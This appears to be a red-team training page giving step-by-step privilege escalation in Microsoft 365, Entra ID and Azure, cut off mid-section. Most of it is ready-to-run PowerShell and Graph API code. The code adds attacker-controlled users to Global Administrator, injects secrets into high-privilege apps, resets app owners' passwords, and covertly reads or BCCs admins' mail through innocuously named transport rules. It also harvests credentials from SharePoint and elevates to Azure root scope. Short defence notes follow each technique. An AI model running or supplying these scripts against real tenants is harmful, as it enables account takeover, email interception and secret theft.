Phase 5 Checklist

0 / 9 completed
Authorised Testing Only. Privilege escalation techniques can cause real changes to your tenant including role assignments, credential additions, and configuration modifications. Ensure you have explicit written authorisation, a rollback plan, and are working within an agreed scope of engagement. Document every change for clean-up.

📱 Application & Consent Abuse

1 Illicit Consent Grant Escalation

If during the Initial Access phase you successfully executed a consent phishing attack and tricked a Global Administrator (or a user with the ability to grant admin consent) into approving your malicious OAuth application with high-privilege permissions such as RoleManagement.ReadWrite.Directory, you can now leverage those permissions to assign yourself admin roles.

Prerequisite: This attack requires that an admin has already consented to your malicious application with permissions like RoleManagement.ReadWrite.Directory or Directory.ReadWrite.All. This is the escalation step that follows a successful consent phishing campaign from Phase 2.

Step 1: Authenticate as the malicious application

Use the client credentials flow to obtain a token for your malicious application. Since an admin granted consent, the app now holds these permissions as application-level permissions on the service principal.

Microsoft Graph requests curl
HTTP
# Obtain an access token using client credentials flow
POST https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token
Content-Type: application/x-www-form-urlencoded

client_id={malicious-app-client-id}
&scope=https://graph.microsoft.com/.default
&client_secret={your-client-secret}
&grant_type=client_credentials

Step 2: Look up the Global Administrator directory role ID

Query the directoryRoles endpoint to find the role object ID for Global Administrator (also known as Company Administrator). The role template ID for Global Administrator is 62e90394-69f5-4237-9190-012177145e10.

HTTP
# List activated directory roles to find Global Administrator
GET https://graph.microsoft.com/v1.0/directoryRoles
Authorization: Bearer {access_token}

# If Global Admin role isn't yet activated, activate it first:
POST https://graph.microsoft.com/v1.0/directoryRoles
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10"
}

Step 3: Add your controlled user to the Global Administrator role

Using the application's RoleManagement.ReadWrite.Directory permission, add a user you control as a member of the Global Administrator directory role.

HTTP
# Add user to Global Administrator directory role
POST https://graph.microsoft.com/v1.0/directoryRoles/{global-admin-role-id}/members/$ref
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "@odata.id": "https://graph.microsoft.com/v1.0/users/{target-user-object-id}"
}
PowerShell
# Alternative: Using Microsoft Graph PowerShell SDK with the app token
# Connect using client credentials
$ClientSecret = ConvertTo-SecureString "{your-secret}" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("{app-id}", $ClientSecret)

Connect-MgGraph -TenantId "{tenant-id}" -ClientSecretCredential $Credential

# Get Global Admin role
$GlobalAdminRole = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }

# Add your user to the role
$params = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/users/{target-user-id}"
}
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $GlobalAdminRole.Id -BodyParameter $params

Step 4: Verify the escalation

HTTP
# Verify the user is now in the Global Administrator role
GET https://graph.microsoft.com/v1.0/directoryRoles/{global-admin-role-id}/members
Authorization: Bearer {access_token}

# Or check from the user's perspective
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/memberOf
Authorization: Bearer {access_token}
🛡
Defence: Restrict user consent to applications by setting the User consent settings policy to "Do not allow user consent" or limit it to verified publishers only. Require admin consent workflow. Monitor for new OAuth application grants via Entra ID audit logs and alert on Consent to application events. Use Conditional Access to block risky consent operations.
2 Application Administrator Abuse

If the compromised user holds the Application Administrator or Cloud Application Administrator role, they have the ability to manage credentials (secrets and certificates) for all application registrations and enterprise applications (service principals) in the tenant. This is a powerful escalation vector because many tenants have existing applications with high-privilege API permissions.

Key insight: Application Administrator can add new client secrets or certificates to any app registration. If that app has permissions like Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory, you inherit those permissions when you authenticate as that service principal.

Step 1: Enumerate high-privilege applications

First, find app registrations that have been granted dangerous permissions. Look for applications with application-level (not delegated) permissions to Microsoft Graph or other APIs.

Microsoft.Graph ROADtools AzureHound
PowerShell
# Connect as the compromised Application Administrator
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# List all app registrations and their required resource access
$Apps = Get-MgApplication -All

# Find apps with high-privilege permissions (application-level)
# Microsoft Graph AppId: 00000003-0000-0000-c000-000000000000
$DangerousPerms = @(
    "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"  # RoleManagement.ReadWrite.Directory
    "19dbc75e-c2e2-444c-a770-ec69d8559fc7"  # Directory.ReadWrite.All
    "06b708a9-e830-4db3-a914-8e69da51d44f"  # AppRoleAssignment.ReadWrite.All
    "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9"  # Application.ReadWrite.All
)

foreach ($App in $Apps) {
    foreach ($Resource in $App.RequiredResourceAccess) {
        if ($Resource.ResourceAppId -eq "00000003-0000-0000-c000-000000000000") {
            $HighPriv = $Resource.ResourceAccess | Where-Object {
                $_.Type -eq "Role" -and $DangerousPerms -contains $_.Id
            }
            if ($HighPriv) {
                Write-Host "[!] High-priv app: $($App.DisplayName) ($($App.AppId))" -ForegroundColor Red
                $HighPriv | ForEach-Object { Write-Host "    Permission ID: $($_.Id)" }
            }
        }
    }
}

Step 2: Add a new client secret to the target application

Once you identify a high-privilege application, inject a new client secret that you control. This gives you the ability to authenticate as that application's service principal.

PowerShell
# Add a new client secret to the target application
$TargetAppId = "{target-app-object-id}"  # Object ID, not AppId

$PasswordCred = @{
    displayName = "Backup credential"
    endDateTime = (Get-Date).AddYears(1)
}

$NewSecret = Add-MgApplicationPassword -ApplicationId $TargetAppId -PasswordCredential $PasswordCred

# Save the secret value - it's only shown once!
Write-Host "[+] New secret for $TargetAppId" -ForegroundColor Green
Write-Host "    Secret: $($NewSecret.SecretText)"
Write-Host "    Key ID: $($NewSecret.KeyId)"
Write-Host "    Expiry: $($NewSecret.EndDateTime)"

Step 3: Authenticate as the service principal

Use the client credentials grant with the new secret to authenticate as the service principal. You now inherit whatever API permissions have been granted (and admin-consented) to this application.

PowerShell
# Authenticate as the service principal using the injected secret
$AppClientId = "{target-app-client-id}"  # The Application (client) ID
$TenantId = "{tenant-id}"
$Secret = ConvertTo-SecureString $NewSecret.SecretText -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($AppClientId, $Secret)

Connect-MgGraph -TenantId $TenantId -ClientSecretCredential $Credential

# Verify permissions - list your assigned app roles
$SP = Get-MgServicePrincipal -Filter "appId eq '$AppClientId'"
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id |
    Select-Object ResourceDisplayName, AppRoleId

# If the app has RoleManagement.ReadWrite.Directory, escalate now:
$RoleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"  # Global Admin template
$params = @{
    "@odata.type" = "#microsoft.graph.unifiedRoleAssignment"
    roleDefinitionId = $RoleDefinitionId
    principalId = "{your-user-object-id}"
    directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
🛡
Defence: Monitor the Update application - Certificates and secrets management audit log entry in Entra ID. Alert on Add service principal credentials events. Restrict the Application Administrator role to a minimal set of trusted admins. Use Conditional Access policies targeting service principal sign-ins. Consider using managed identities instead of client secrets where possible.
3 Abusing Overly Broad App Permissions

Many tenants accumulate applications over time that were granted overly broad permissions during initial setup and never reviewed. Applications with permissions like Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All, or Application.ReadWrite.All represent significant privilege escalation opportunities if you can add credentials to them.

Common finding: Line-of-business apps, migration tools, and legacy integrations often retain broad permissions long after they are needed. Applications used once for a migration that still hold Directory.ReadWrite.All are prime targets.

Comprehensive permission audit using Graph API

Microsoft.Graph ROADtools Graph Explorer
PowerShell
# Enumerate all service principals and their app role assignments
# App role assignments show the actual granted (consented) permissions

$AllSPs = Get-MgServicePrincipal -All
$GraphSP = $AllSPs | Where-Object { $_.AppId -eq "00000003-0000-0000-c000-000000000000" }

# Get all app role assignments for Microsoft Graph
$GraphAppRoles = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $GraphSP.Id -All

# Map dangerous role IDs to names
$DangerousRoles = @{
    "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory"
    "19dbc75e-c2e2-444c-a770-ec69d8559fc7" = "Directory.ReadWrite.All"
    "06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All"
    "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9" = "Application.ReadWrite.All"
    "741f803b-c850-494e-b5df-cde7c675a1ca" = "User.ReadWrite.All"
    "62a82d76-70ea-41e2-9197-370581804d09" = "Group.ReadWrite.All"
    "e1fe6dd8-ba31-4d61-89e7-88639da4683d" = "User.Read.All (application)"
}

# Find service principals with dangerous permissions
foreach ($Assignment in $GraphAppRoles) {
    if ($DangerousRoles.ContainsKey($Assignment.AppRoleId)) {
        $SP = $AllSPs | Where-Object { $_.Id -eq $Assignment.PrincipalId }
        Write-Host "[!] $($SP.DisplayName) has $($DangerousRoles[$Assignment.AppRoleId])" -ForegroundColor Red
        Write-Host "    SP Object ID: $($SP.Id)"
        Write-Host "    App ID: $($SP.AppId)"
    }
}

Using ROADtools for offline analysis

ROADtools can dump the entire Entra ID directory and allow you to analyse app permissions offline, which is stealthier than making many live Graph API queries.

Bash
# Dump the directory with ROADrecon
roadrecon auth -u "user@target.com" -p "password"
roadrecon gather

# Launch the GUI to visually explore app permissions
roadrecon gui

# The GUI shows app registrations, their permissions, and owners
# Navigate to: Applications > filter by high permissions
# Look for apps with Role assignments (application permissions)

Identifying application owners for alternative escalation

If you cannot directly add credentials (you don't have Application Administrator), check if the compromised user is listed as an owner of any applications. Application owners can add credentials to their own applications.

PowerShell
# Check if the compromised user owns any applications
$UserId = "{compromised-user-id}"

# Get apps owned by this user
$OwnedApps = Get-MgUserOwnedObject -UserId $UserId |
    Where-Object { $_.'@odata.type' -eq "#microsoft.graph.application" }

foreach ($App in $OwnedApps) {
    $FullApp = Get-MgApplication -ApplicationId $App.Id
    Write-Host "[+] Owned app: $($FullApp.DisplayName) - $($FullApp.AppId)"

    # Check if this app has any interesting permissions
    $FullApp.RequiredResourceAccess | ForEach-Object {
        $_.ResourceAccess | Where-Object { $_.Type -eq "Role" } | ForEach-Object {
            Write-Host "    App Permission: $($_.Id)"
        }
    }
}
🛡
Defence: Conduct regular access reviews of application permissions. Remove unused or overly broad API permissions from legacy apps. Use the principle of least privilege when assigning permissions to app registrations. Monitor Add app role assignment to service principal and Add owner to application audit log events. Enable Microsoft Defender for Cloud Apps to detect anomalous application activity.

👑 Entra ID Role Abuse

4 Privileged Identity Management (PIM) Exploitation

Entra ID Privileged Identity Management (PIM) allows organisations to make administrative roles "eligible" rather than permanently assigned. Users with eligible roles can activate them on demand, typically for a limited time window. If your compromised user has eligible role assignments — particularly ones that do not require approval or MFA for activation — you can self-activate to escalate privileges.

What to look for: Eligible role assignments with no approval requirement, no MFA requirement for activation, long maximum activation duration, or roles where the compromised user is both the requestor and the approver.
Microsoft.Graph Graph Explorer

Step 1: Enumerate eligible role assignments for the compromised user

PowerShell
# Connect as the compromised user
Connect-MgGraph -Scopes "RoleEligibilitySchedule.Read.Directory","RoleAssignmentSchedule.ReadWrite.Directory"

# List eligible role assignments for the current user
$UserId = (Get-MgContext).Account
$EligibleRoles = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "principalId eq '{user-object-id}'"

foreach ($Role in $EligibleRoles) {
    $RoleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $Role.RoleDefinitionId
    Write-Host "[+] Eligible role: $($RoleDef.DisplayName)" -ForegroundColor Green
    Write-Host "    Role Definition ID: $($Role.RoleDefinitionId)"
    Write-Host "    Scope: $($Role.DirectoryScopeId)"
    Write-Host "    Schedule: $($Role.ScheduleInfo.StartDateTime) - $($Role.ScheduleInfo.Expiration.EndDateTime)"
}

Step 2: Check PIM policy settings for activation requirements

PowerShell
# Get the PIM role management policy for a specific role
# This reveals approval requirements, MFA needs, justification requirements
$PolicyAssignments = Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole' and roleDefinitionId eq '{role-definition-id}'"

foreach ($pa in $PolicyAssignments) {
    $Policy = Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId $pa.PolicyId
    $Rules = Get-MgPolicyRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $pa.PolicyId

    foreach ($Rule in $Rules) {
        Write-Host "Rule: $($Rule.Id) - $($Rule.AdditionalProperties | ConvertTo-Json -Depth 3)"
    }
}

Step 3: Self-activate the eligible role

PowerShell
# Self-activate an eligible role via PIM
$params = @{
    action = "selfActivate"
    principalId = "{your-user-object-id}"
    roleDefinitionId = "{role-definition-id}"
    directoryScopeId = "/"
    justification = "Routine administrative task - ticket REQ-12345"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
        expiration = @{
            type = "AfterDuration"
            duration = "PT8H"  # 8-hour activation window
        }
    }
}

New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params

# Verify the activation
Get-MgRoleManagementDirectoryRoleAssignmentSchedule -Filter "principalId eq '{your-user-object-id}'"
HTTP
# Direct Graph API call to activate eligible role
POST https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests
Authorization: Bearer {user_access_token}
Content-Type: application/json

{
  "action": "selfActivate",
  "principalId": "{your-user-object-id}",
  "roleDefinitionId": "{role-definition-id}",
  "directoryScopeId": "/",
  "justification": "Routine administrative task",
  "scheduleInfo": {
    "startDateTime": "2025-01-15T10:00:00Z",
    "expiration": {
      "type": "AfterDuration",
      "duration": "PT8H"
    }
  }
}
🛡
Defence: Configure PIM to require approval from a separate admin for activation of all high-privilege roles. Enforce MFA on role activation. Set short maximum activation durations (1-2 hours). Require justification and ticket numbers. Enable PIM alerts and review activation logs regularly. Never allow a user to be their own approver.
5 Custom Role Abuse

Organisations can create custom Entra ID roles with specific combinations of permissions. Sometimes these custom roles are configured with dangerous permissions that effectively grant admin-equivalent access without the role appearing as a built-in admin role. This can bypass monitoring that only checks for built-in role assignments.

Dangerous custom role permissions: Watch for roles containing microsoft.directory/servicePrincipals/credentials/update, microsoft.directory/applications/credentials/update, microsoft.directory/servicePrincipals/owners/update, or microsoft.directory/roleAssignments/allProperties/update. Any of these can be chained to achieve Global Admin-equivalent access.
Microsoft.Graph Graph Explorer

Step 1: Enumerate all custom role definitions

PowerShell
# Get all custom role definitions (isBuiltIn eq false)
$CustomRoles = Get-MgRoleManagementDirectoryRoleDefinition -Filter "isBuiltIn eq false"

# Dangerous permissions to look for
$DangerousPermissions = @(
    "microsoft.directory/servicePrincipals/credentials/update"
    "microsoft.directory/applications/credentials/update"
    "microsoft.directory/servicePrincipals/owners/update"
    "microsoft.directory/applications/owners/update"
    "microsoft.directory/roleAssignments/allProperties/update"
    "microsoft.directory/servicePrincipals/appRoleAssignedTo/update"
    "microsoft.directory/servicePrincipals/permissions/update"
)

foreach ($Role in $CustomRoles) {
    Write-Host "`n[*] Custom Role: $($Role.DisplayName) ($($Role.Id))" -ForegroundColor Cyan
    Write-Host "    Description: $($Role.Description)"
    Write-Host "    Enabled: $($Role.IsEnabled)"

    foreach ($Perm in $Role.RolePermissions) {
        foreach ($Action in $Perm.AllowedResourceActions) {
            $IsDangerous = $DangerousPermissions | Where-Object { $Action -like $_ }
            if ($IsDangerous) {
                Write-Host "    [!] DANGEROUS: $Action" -ForegroundColor Red
            } else {
                Write-Host "    Permission: $Action" -ForegroundColor Gray
            }
        }
    }
}

Step 2: Find users assigned to dangerous custom roles

PowerShell
# For each dangerous custom role, find who has it assigned
foreach ($Role in $CustomRoles) {
    $Assignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq '$($Role.Id)'"

    if ($Assignments) {
        Write-Host "`n[!] Assignments for: $($Role.DisplayName)" -ForegroundColor Yellow
        foreach ($Assignment in $Assignments) {
            # Resolve the principal
            try {
                $User = Get-MgUser -UserId $Assignment.PrincipalId -ErrorAction Stop
                Write-Host "    User: $($User.DisplayName) ($($User.UserPrincipalName))"
            } catch {
                Write-Host "    Principal ID: $($Assignment.PrincipalId) (may be group or SP)"
            }
            Write-Host "    Scope: $($Assignment.DirectoryScopeId)"
        }
    }
}

# If your compromised user has microsoft.directory/servicePrincipals/credentials/update
# you can add credentials to ANY service principal, then authenticate as it.
# This chains directly into Step 2 (Application Administrator Abuse) above.
🛡
Defence: Regularly audit custom role definitions for dangerous permission combinations. Use the principle of least privilege when creating custom roles. Avoid granting credential management permissions in custom roles unless absolutely necessary. Monitor custom role creation and modification events. Treat any role with credential update permissions as equivalent to Application Administrator in your security posture.
6 Helpdesk / Password Admin Abuse

The Helpdesk Administrator and Password Administrator roles can reset passwords for non-admin users. While these roles cannot reset passwords for users who hold admin roles (Global Admin, Exchange Admin, etc.), they can target regular users who may have access to sensitive resources, service accounts with broad access, or users who are owners of high-privilege applications.

Escalation chain: Helpdesk Admin → reset password of user who owns a high-privilege app → log in as that user → add credentials to the app → authenticate as the app's service principal → escalate to Global Admin.
Microsoft.Graph

Step 1: Identify valuable non-admin targets

PowerShell
# Find users who own applications with high privileges
# These are prime targets for password reset abuse

$Apps = Get-MgApplication -All
$AdminRoleMembers = @()

# Get all admin role members (we CANNOT reset these)
$AdminRoles = Get-MgDirectoryRole
foreach ($AdminRole in $AdminRoles) {
    $Members = Get-MgDirectoryRoleMember -DirectoryRoleId $AdminRole.Id
    $AdminRoleMembers += $Members.Id
}
$AdminRoleMembers = $AdminRoleMembers | Select-Object -Unique

# Find app owners who are NOT admins (targets for password reset)
foreach ($App in $Apps) {
    $Owners = Get-MgApplicationOwner -ApplicationId $App.Id
    foreach ($Owner in $Owners) {
        if ($Owner.Id -notin $AdminRoleMembers) {
            Write-Host "[+] Non-admin app owner found!" -ForegroundColor Green
            Write-Host "    App: $($App.DisplayName)"
            Write-Host "    Owner: $($Owner.AdditionalProperties.userPrincipalName)"
            Write-Host "    Owner ID: $($Owner.Id)"
        }
    }
}

Step 2: Reset the target user's password

PowerShell
# Reset the target user's password using Helpdesk Admin privileges
$TargetUserId = "{target-user-object-id}"
$NewPassword = "T3mp!P@ssw0rd$(Get-Random -Minimum 1000 -Maximum 9999)"

# Method 1: Using Update-MgUser to set a new password
$PasswordProfile = @{
    password = $NewPassword
    forceChangePasswordNextSignIn = $false
}

Update-MgUser -UserId $TargetUserId -PasswordProfile $PasswordProfile

Write-Host "[+] Password reset successful for $TargetUserId" -ForegroundColor Green
Write-Host "    New password: $NewPassword"

# Method 2: Using the authentication methods API (for resetting MFA too)
# List the user's authentication methods first
Get-MgUserAuthenticationMethod -UserId $TargetUserId

# Reset password via authentication method
Reset-MgUserAuthenticationMethodPassword -UserId $TargetUserId -NewPassword $NewPassword

Step 3: Log in as the target and escalate

PowerShell
# Now authenticate as the target user who owns the high-priv app
$SecurePass = ConvertTo-SecureString $NewPassword -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("targetuser@domain.com", $SecurePass)

# Connect as the target user
Connect-MgGraph -TenantId "{tenant-id}"

# As the app owner, add a new secret to the high-privilege app
$OwnedApp = Get-MgUserOwnedObject -UserId "{target-user-id}" |
    Where-Object { $_.'@odata.type' -eq "#microsoft.graph.application" }

$PasswordCred = @{ displayName = "Service credential"; endDateTime = (Get-Date).AddMonths(6) }
$NewAppSecret = Add-MgApplicationPassword -ApplicationId $OwnedApp.Id -PasswordCredential $PasswordCred

Write-Host "[+] Added secret to owned app: $($NewAppSecret.SecretText)"

# Then authenticate as the service principal (see Step 2 above)
Operational Note: Password resets generate audit logs and may trigger alerts. The target user will also lose access with their old password, which could be noticed. In an authorised test, coordinate with the client to minimise disruption. Always restore the original password or inform the user after testing.
🛡
Defence: Limit the Helpdesk Administrator role to a small, trusted group. Enable Administrative Unit scoping to restrict which users a helpdesk admin can manage. Ensure application owners are members of admin-protected groups so their passwords cannot be reset by helpdesk roles. Monitor Reset password audit events and alert on bulk resets or resets of sensitive accounts. Use Conditional Access to require MFA for application owners.

🖥 Service-Level Escalation

7 Exchange Admin to Global Admin Escalation

The Exchange Administrator role provides powerful capabilities within Exchange Online that can be abused for privilege escalation. Exchange Admins can create mail flow (transport) rules, manage all mailboxes, configure forwarding, and access mailbox contents through full access permissions. While not a direct path to Global Admin, these capabilities allow you to intercept sensitive communications, access admin mailboxes, and gather credentials or tokens that may lead to higher privileges.

Escalation vectors: Exchange Admins can read admin mailboxes (which may contain credentials, password reset links, or MFA setup emails), create transport rules to copy sensitive emails, and manage unified groups (Microsoft 365 groups) which may be used for role-based access elsewhere.
ExchangeOnlineManagement Microsoft.Graph

Step 1: Connect to Exchange Online and enumerate admin mailboxes

PowerShell
# Connect to Exchange Online as the Exchange Administrator
Connect-ExchangeOnline -UserPrincipalName "exchadadmin@target.com"

# List all mailboxes with admin role memberships
# First, get admin users from Entra ID roles
$GlobalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId (
    Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
).Id

# Check mailbox details for each admin
foreach ($Admin in $GlobalAdmins) {
    $UPN = $Admin.AdditionalProperties.userPrincipalName
    $Mailbox = Get-Mailbox -Identity $UPN -ErrorAction SilentlyContinue
    if ($Mailbox) {
        Write-Host "[+] Admin mailbox: $UPN" -ForegroundColor Green
        Write-Host "    Forwarding: $($Mailbox.ForwardingSmtpAddress)"
        Write-Host "    Audit enabled: $($Mailbox.AuditEnabled)"
    }
}

Step 2: Grant yourself full access to an admin's mailbox

PowerShell
# Grant full access to a Global Admin's mailbox
# This allows reading all email without the admin knowing (if AutoMapping disabled)
Add-MailboxPermission -Identity "globaladmin@target.com" `
    -User "exchadadmin@target.com" `
    -AccessRights FullAccess `
    -AutoMapping $false  # Prevents mailbox appearing in Outlook automatically

# Search the admin's mailbox for password reset emails, MFA codes, etc.
Search-Mailbox -Identity "globaladmin@target.com" `
    -SearchQuery "subject:'password reset' OR subject:'verification code' OR subject:'MFA' OR subject:'temporary password'" `
    -TargetMailbox "exchadadmin@target.com" `
    -TargetFolder "SearchResults" `
    -LogOnly

Step 3: Create a mail flow rule for ongoing interception

PowerShell
# Create a transport rule to BCC all admin emails to your mailbox
# This intercepts password resets, security alerts, and other sensitive comms
New-TransportRule -Name "Compliance Logging" `
    -SentTo "globaladmin@target.com" `
    -BlindCopyTo "exchadadmin@target.com" `
    -Priority 0

# Create a rule to intercept password reset emails from Microsoft
New-TransportRule -Name "Security Notifications Audit" `
    -FromAddressContainsWords @("microsoft.com", "microsoftonline.com") `
    -SubjectOrBodyContainsWords @("password", "reset", "verification", "security code") `
    -BlindCopyTo "exchadadmin@target.com" `
    -Priority 0

# Set up forwarding on admin mailbox (more visible but effective)
Set-Mailbox -Identity "globaladmin@target.com" `
    -ForwardingSmtpAddress "exchadadmin@target.com" `
    -DeliverToMailboxAndForward $true

Step 4: Trigger a password reset and intercept it

With email interception in place, initiate a self-service password reset for the target admin account (if SSPR is enabled) and capture the reset link from the intercepted email. Alternatively, search for existing password reset or invitation emails.

PowerShell
# Use compliance search for a broader targeted search across all mailboxes
New-ComplianceSearch -Name "CredentialHarvest" `
    -ExchangeLocation "globaladmin@target.com" `
    -ContentMatchQuery '(subject:"password" OR subject:"credential" OR subject:"secret" OR subject:"API key") AND (from:noreply@microsoft.com OR from:msonlineservicesteam@microsoftonline.com)'

Start-ComplianceSearch -Identity "CredentialHarvest"

# Wait for search to complete, then preview results
Get-ComplianceSearch -Identity "CredentialHarvest" | Format-List Status, Items
🛡
Defence: Enable mailbox audit logging for all admin accounts and monitor for FullAccess permission grants. Alert on new transport rule creation events. Restrict Exchange Admin role to a minimal set of users. Use Administrative Units to limit Exchange Admin scope. Review transport rules regularly for unauthorised BCC or forwarding. Implement a privileged access workstation (PAW) strategy for admin accounts.
8 SharePoint Admin Exploitation

The SharePoint Administrator role grants control over all SharePoint Online site collections and OneDrive for Business accounts in the tenant. This includes the ability to access any user's OneDrive, read any SharePoint site, and modify sharing settings. SharePoint often contains highly sensitive documents including credentials, architecture diagrams, HR data, and financial records that can enable further escalation.

SharePointOnlinePnP Microsoft.Online.SharePoint.PowerShell SharePoint Admin Center

Step 1: Enumerate all site collections and OneDrive sites

PowerShell
# Connect to SharePoint Online Management Shell
Connect-SPOService -Url "https://target-admin.sharepoint.com"

# List all site collections
$Sites = Get-SPOSite -Limit All -IncludePersonalSite $true
Write-Host "[+] Total sites found: $($Sites.Count)"

# Filter for interesting sites
$Sites | Where-Object {
    $_.Url -match "admin|hr|finance|executive|it-ops|security|credentials|passwords|infra"
} | ForEach-Object {
    Write-Host "[!] Interesting site: $($_.Title) - $($_.Url)" -ForegroundColor Yellow
    Write-Host "    Owner: $($_.Owner)"
    Write-Host "    Storage used: $([math]::Round($_.StorageUsageCurrent / 1024, 2)) GB"
}

# List OneDrive sites (personal sites)
$OneDrives = $Sites | Where-Object { $_.Url -like "*-my.sharepoint.com/personal/*" }
Write-Host "`n[+] OneDrive sites found: $($OneDrives.Count)"

Step 2: Grant yourself access to a target user's OneDrive

PowerShell
# Add yourself as a Site Collection Administrator on the admin's OneDrive
$AdminOneDrive = "https://target-my.sharepoint.com/personal/globaladmin_target_com"

Set-SPOUser -Site $AdminOneDrive `
    -LoginName "spadmin@target.com" `
    -IsSiteCollectionAdmin $true

Write-Host "[+] Granted Site Collection Admin on: $AdminOneDrive"

# Now browse to the OneDrive URL in a browser or use PnP PowerShell to list files
Connect-PnPOnline -Url $AdminOneDrive -Interactive

# List all files and folders in their OneDrive
$Items = Get-PnPListItem -List "Documents" -PageSize 500
foreach ($Item in $Items) {
    $Path = $Item.FieldValues.FileRef
    $Size = $Item.FieldValues.File_x0020_Size
    Write-Host "$Path ($([math]::Round($Size / 1KB, 1)) KB)"
}

Step 3: Search for sensitive content across SharePoint

PowerShell
# Use PnP Search to find sensitive documents across the entire tenant
Connect-PnPOnline -Url "https://target.sharepoint.com" -Interactive

# Search for files containing passwords or credentials
$Queries = @(
    "password filename:xlsx OR filename:csv OR filename:txt"
    "credential filename:docx OR filename:txt"
    "API key OR secret key filename:txt OR filename:json OR filename:config"
    "connectionstring OR connection string"
    '"global admin" OR "admin password"'
)

foreach ($Query in $Queries) {
    Write-Host "`n[*] Searching: $Query" -ForegroundColor Cyan
    $Results = Submit-PnPSearchQuery -Query $Query -MaxResults 50 -SelectProperties "Title,Path,Author,Size,LastModifiedTime"

    foreach ($Result in $Results.ResultRows) {
        Write-Host "  [+] $($Result.Title)" -ForegroundColor Green
        Write-Host "      Path: $($Result.Path)"
        Write-Host "      Author: $($Result.Author)"
        Write-Host "      Modified: $($Result.LastModifiedTime)"
    }
}

Step 4: Access admin-only SharePoint sites

PowerShell
# Check for sites with restricted access that may contain sensitive admin content
$RestrictedSites = @(
    "https://target.sharepoint.com/sites/IT-Infrastructure"
    "https://target.sharepoint.com/sites/SecurityTeam"
    "https://target.sharepoint.com/sites/AdminResources"
    "https://target.sharepoint.com/sites/CloudOps"
)

foreach ($SiteUrl in $RestrictedSites) {
    try {
        $Site = Get-SPOSite -Identity $SiteUrl -ErrorAction Stop

        # Grant yourself admin access
        Set-SPOUser -Site $SiteUrl `
            -LoginName "spadmin@target.com" `
            -IsSiteCollectionAdmin $true

        Write-Host "[+] Accessed: $SiteUrl" -ForegroundColor Green
    } catch {
        Write-Host "[-] Site not found: $SiteUrl" -ForegroundColor Gray
    }
}
🛡
Defence: Monitor SharePoint audit logs for site collection admin grants and bulk file access. Restrict the SharePoint Administrator role to a minimum set of users. Use Microsoft Purview Information Protection to classify and protect sensitive documents. Implement DLP policies to prevent credential storage in SharePoint. Alert on changes to site collection administrators, particularly on executive or admin OneDrive sites.
9 Azure Resource Pivoting

If the target tenant also has Azure subscriptions, a compromised M365 user account may have Azure RBAC (Role-Based Access Control) roles assigned. This is a cross-boundary escalation where access in the M365/Entra ID plane can be leveraged to access Azure resources such as Key Vaults (containing secrets, certificates, and keys), Virtual Machines, Storage Accounts, and other cloud infrastructure. Global Administrators can also elevate themselves to the User Access Administrator role on all Azure subscriptions.

Key insight: Entra ID Global Administrators can enable the "Access management for Azure resources" toggle in Entra ID properties to grant themselves the User Access Administrator role at the root (/) management group scope across all Azure subscriptions in the tenant. This is a built-in backdoor path.
Az Module Azure CLI AzureHound

Step 1: Enumerate Azure subscriptions and RBAC roles

PowerShell
# Connect to Azure with the compromised M365 account
Connect-AzAccount

# List all accessible subscriptions
$Subscriptions = Get-AzSubscription
Write-Host "[+] Accessible subscriptions: $($Subscriptions.Count)"

foreach ($Sub in $Subscriptions) {
    Write-Host "`n[*] Subscription: $($Sub.Name) ($($Sub.Id))" -ForegroundColor Cyan
    Set-AzContext -SubscriptionId $Sub.Id

    # List your role assignments in this subscription
    $Roles = Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id
    foreach ($Role in $Roles) {
        Write-Host "  [+] Role: $($Role.RoleDefinitionName) at scope: $($Role.Scope)"
    }
}

Step 2: Global Admin elevation to Azure User Access Administrator

PowerShell
# If you are Global Admin, elevate to User Access Administrator on all Azure resources
# This is done via the Entra ID properties toggle or via REST API

$Token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token

# Enable elevation via REST API
$Headers = @{
    "Authorization" = "Bearer $Token"
    "Content-Type" = "application/json"
}

Invoke-RestMethod -Uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" `
    -Method POST `
    -Headers $Headers

Write-Host "[+] Elevated to User Access Administrator at root scope" -ForegroundColor Green

# Verify the elevation
Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id -Scope "/"

Step 3: Access Azure Key Vaults for stored secrets

PowerShell
